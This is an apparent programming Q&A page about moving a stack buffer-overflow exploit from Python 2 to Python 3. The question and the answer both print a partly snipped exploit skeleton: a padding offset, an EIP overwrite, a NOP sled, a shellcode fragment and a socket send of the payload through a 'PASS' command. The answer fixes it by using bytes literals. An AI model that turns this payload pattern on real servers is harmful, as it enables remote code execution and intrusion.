Exploit development in Python 3

2020-08-05 11:01发布

问题:

I realised that exploit development with python 3 is not as straight forward as it is using python 2.

As I understand, this is mainly due to the socket library and the added byte datatype.

For example, I could not figure out how to translate the following code into Python 3 code:

--- SNIP ---
shellcode =  ""
shellcode += "\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
--- SNIP ---
offset = "A" * 2606
eip = "\x43\x62\x4b\x5f"
nop = "\x90" * 16 
padding = "C"
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16)
--- SNIP ---
bytes_sent = sock.send("PASS {}\r\n".format(buff))
--- SNIP ---

I tried the following:

--- SNIP ---
shellcode =  ""
shellcode += "\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
--- SNIP ---
offset = "A" * 2606
eip = "\x43\x62\x4b\x5f"
nop = "\x90" * 16 
padding = "C"
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16)
--- SNIP ---
bytes_sent = sock.send("PASS {}".format(buff).encode("UTF-8"))
--- SNIP ---

The problem is that \x90 becomes C2 90 in memory, it tooks me hours to figure out that the issue came from my code. I also suspect that this could alter the shellcode as well.

I would like to learn the proper way of doing this in Python

回答1:

The Python 2 code essentially builds up a byte string. In Python 3, '...' string literals build up a Unicode string object instead.

In Python 3, you want bytes objects instead, which you can creating by using b'...' byte string literals:

# --- SNIP ---
shellcode =  b""
shellcode += b"\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
# --- SNIP ---
offset = b"A" * 2606
eip = b"\x43\x62\x4b\x5f"
nop = b"\x90" * 16 
padding = b"C"
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16)
# --- SNIP ---
bytes_sent = sock.send(b"PASS %s\r\n" % buff)
# --- SNIP ---

bytes doesn't have a .format() method, but the % formatting operation is still available.